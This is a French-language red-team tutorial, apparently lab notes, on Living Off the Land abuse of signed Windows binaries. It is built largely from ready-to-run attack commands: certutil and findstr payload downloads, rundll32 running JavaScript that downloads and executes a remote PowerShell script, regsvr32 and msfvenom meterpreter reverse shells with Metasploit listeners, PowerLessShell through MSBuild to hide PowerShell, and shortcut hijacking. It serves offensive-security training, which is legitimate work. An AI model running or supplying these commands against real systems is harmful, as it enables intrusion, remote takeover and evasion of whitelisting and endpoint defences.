🍭Living of the Land (LOL)
Living Off the Land (LOL) est une stratégie où les adversaires et les créateurs de logiciels malveillants exploitent les outils et utilitaires natifs d'un ordinateur cible pour mener des activités malveillantes. Cette technique rend la détection et l'attribution difficiles pour les défenseurs.
Living Off the Land englobe diverses catégories d'activités, notamment :
📡 Reconnaissance
📁 Opérations sur les fichiers (File Operations)
💻 Exécution de code arbitraire (Arbitrary Code Execution)
🔄 Déplacement latéral (Lateral Movement)
🔓 Contournement des produits de sécurité (Security Product Bypass)
🎯 Objectifs de LOLBAS
Le projet LOLBAS est un référentiel communautaire rassemblant une collection de binaires, de scripts et de bibliothèques pour les besoins d'équipe rouge. Il facilite la recherche basée sur les binaires, les fonctions, les scripts et les informations ATT&CK.

Si vous souhaitez explorer davantage, visitez le site Web du projet ici :
Recherche par fonction : /nom_fonction
Recherche par type : #nom_type
Voici les types :
Script
Binary
Libraries
OtherMSBinaries
Remplace thm par user !
Operations sur les fichiers
🛠️ Outils d'opération sur les fichiers
💡CertUtil
CertUtil est un utilitaire intégré à Windows pour la gestion des services de certification. Bien que son objectif principal soit de gérer les informations de certificat, il a été découvert que Certutil.exe peut également transférer et encoder des fichiers sans lien avec les services de certification.
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
Options :
-URLcache
: Afficher le cache URL-split -f
: Diviser et forcer la récupération des fichiers à partir de l'URL fournie
CertUtil peut également encoder des fichiers :
certutil -encode payload.exe Encoded-payload.txt
💡 FindStr
FindStr est un outil intégré à Microsoft utilisé pour rechercher des motifs de texte et de chaîne dans les fichiers. Il est couramment utilisé par les utilisateurs et les administrateurs système pour rechercher dans les fichiers ou dans la sortie analysée. Cependant, il peut également être utilisé de manière détournée pour télécharger des fichiers distants à partir de dossiers partagés SMB dans un réseau.
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
Options :
/V
: Imprimer les lignes qui ne contiennent pas la chaîne spécifiéedummystring
: Texte à rechercher, qui dans ce cas ne doit pas être trouvé dans un fichier>
: Rediriger la sortie vers un fichier sur la machine cible
🔧 Installation des Outils
📎 Explorateur de fichiers (File Explorer)
Les utilisateurs ont découvert que le binaire de l'explorateur de fichiers peut exécuter d'autres fichiers .exe. Cette technique est appelée Exécution de Commande Indirecte, où l'outil explorer.exe peut être utilisé et détourné pour lancer des scripts malveillants ou des exécutables à partir d'un processus parent de confiance.
Le binaire explorer.exe est situé à :
C:\Windows\explorer.exe
pour la version 64 bits de Windows.C:\Windows\SysWOW64\explorer.exe
pour la version 32 bits de Windows.
Pour créer un processus enfant du parent explorer.exe, nous pouvons exécuter la commande suivante :
explorer.exe /root,"C:\Windows\System32\calc.exe"
WMIC (Windows Management Instrumentation Command-Line)
WMIC (Windows Management Instrumentation Command-Line) est un utilitaire en ligne de commande Windows qui gère les composants Windows. Les utilisateurs ont découvert que WMIC est également utilisé pour exécuter des binaires afin d'éviter les mesures défensives. Le cadre MITRE ATT&CK désigne cette technique comme Exécution de Commande Proxy Signée (T1218).
wmic.exe process call create calc
La commande WMIC précédente crée un nouveau processus d'un binaire de notre choix, qui dans ce cas est calc.exe.
📎 Rundll32
Rundll32 est un outil intégré à Microsoft qui charge et exécute des fichiers de bibliothèques de liens dynamiques DLL dans le système d'exploitation. Une attaquant peut abuser et utiliser rundll32.exe pour exécuter des charges utiles arbitraires et exécuter des scripts JavaScript et PowerShell. Le cadre MITRE ATT&CK identifie cela comme Exécution de Commande Proxy Signée: Rundll32 et le désigne sous le nom de T1218.
Le binaire rundll32.exe est situé à :
C:\Windows\System32\rundll32.exe
pour la version 64 bits de Windows.C:\Windows\SysWOW64\rundll32.exe
pour la version 32 bits de Windows.
Essayons maintenant d'exécuter un binaire calc.exe à des fins de démonstration à l'aide du binaire rundll32.exe :
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Dans la commande précédente, nous avons utilisé le binaire rundll32.exe qui intègre un composant JavaScript, eval(), pour exécuter le binaire calc.exe, une calculatrice Microsoft.
Comme mentionné précédemment, nous pouvons également exécuter des scripts PowerShell à l'aide de rundll32.exe. La commande suivante exécute un script JavaScript qui exécute un script PowerShell pour le téléchargement à partir d'un site Web distant à l'aide de rundll32.exe.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://Adresse_IP_de_l_attaquant/script.ps1');");
En conséquence de l'exécution précédente, une copie du script.ps1 sera téléchargée et exécutée sur le système cible.
🔐 Regsvr32
Regsvr32 est un outil en ligne de commande de Microsoft utilisé pour enregistrer et dés-enregistrer des bibliothèques de liens dynamiques (DLL) dans le Registre Windows. Le fichier binaire regsvr.exe est situé à :
C:\Windows\System32\regsvr32.exe
pour la version 32 bits de Windows.C:\Windows\SysWOW64\regsvr32.exe
pour la version 64 bits de Windows.
Regsvr32.exe peut être utilisé pour exécuter des binaires arbitraires et contourner la liste blanche des applications Windows. Les attaquants exploitent cette possibilité pour exécuter du code natif ou des scripts, localement ou à distance.
Sur l'attaquant:
Générer un shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Attack-IP LPORT=443 -f dll -a x86 > live0fftheland.dll
créer un serveur :
python3 -m http.server 1337
Mettre un Listener avec netcat ou metasploit !
Sur la cible, télécharger la dll :
c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
ou
c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll
/s
: Mode silencieux, aucune notification n'est affichée./n
: Ne pas appeler le serveur d'enregistrement de DLL./u
: Désenregistrer le fichier DLL spécifié./i:http://example.com/file.sct
: Utiliser un autre serveur pour l'enregistrement de DLL.
🔧 Installation de Bourne Again Shell (Bash) avec WSL
Depuis 2016, Microsoft propose la prise en charge de l'environnement Linux sur Windows 10, 11 et Server 2019 via le Windows Subsystem for Linux (WSL). WSL, disponible en deux versions (WSL1 et WSL2), permet d'exécuter une distribution Linux virtualisée sur Windows.
Activation de WSL
Accédez aux paramètres de Windows 10.
Sélectionnez "Mise à jour et sécurité" > "Pour les développeurs".
Cochez la case "Activer le mode développeur".
Allez dans "Activer ou désactiver les fonctionnalités Windows".
Cochez "Sous-système Windows pour Linux" et redémarrez votre ordinateur.
Exécution de Bash :
Bash étant un binaire signé par Microsoft, il peut être utilisé pour exécuter des charges utiles non signées et contourner la liste blanche des applications Windows.
bash.exe -c "chemin-vers-la-charge-utile":
vous pouvez exécuter des commandes non signées.
⌨️ Modification de raccourcis (Shortcut modification)
Cette technique fait partie de la catégorie "Living Off the Land" (LotL) car elle utilise des utilitaires légitimes du système d'exploitation.
Un raccourci est un fichier spécial qui contient un chemin d'accès vers un autre fichier ou une application.
La technique de modification de raccourcis consiste à modifier le chemin d'accès dans le fichier de raccourci pour qu'il pointe vers un fichier malveillant ou une commande.
Trouver un raccourci à modifier : Recherchez un raccourci vers une application ou un fichier qui est fréquemment utilisé par l'utilisateur cible.
(propriété > shortcut > target)
Par exemple, pour exécuter la calculatrice à la place d'Excel, vous pouvez modifier la section "Cible" (Target) du raccourci Excel comme suit :
C:\Windows\System32\rundll32.exe C:\Windows\System32\calc.exe
Il est important de noter que cette technique peut être détectée par les outils de sécurité tels que les antivirus et les EDR (Endpoint Detection and Response).
🕹️ PowerLessShell
PowerLessShell est un outil puissant qui permet d'exécuter du code PowerShell malveillant sur une machine cible sans que le processus PowerShell ne soit visible. Cela est possible en utilisant l'outil Microsoft Build Engine (MSBuild) pour exécuter du code à distance. Cette technique peut être utilisée par des attaquants pour contourner les mesures de sécurité qui surveillent ou bloquent l'exécution de PowerShell.
Télécharger le projet à partir du dépôt GitHub sur la machine attaquante :
user@machine$ git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git
Créer un payload :
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=attack-IP LPORT=4443 -f psh-reflection > liv0ff.ps1
psh-reflection
est utilisé pour générer une charge utile PowerShell qui utilise la réflexion pour charger les bibliothèques nécessaires en mémoire.
Ecouter et attendre la connexion inverse de la charge utile.
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost AttackBox_IP;set lport 4443;exploit"
Une fois la charge utile prête, passons au répertoire du projet PowerLessShell pour convertir la charge utile afin qu'elle soit compatible avec l'outil MSBuild. Ensuite, exécutons l'outil PowerLessShell et définissons le fichier source sur celui que nous avons créé avec msfvenom comme suit :
user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
Transférer le fichier de sortie sur la machine Windows cible.
scp
oupython3 -m http.server 8080
Construir le fichier .csproj à l'aide de l'outil MSBuild
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe liv0ff.csproj
Last updated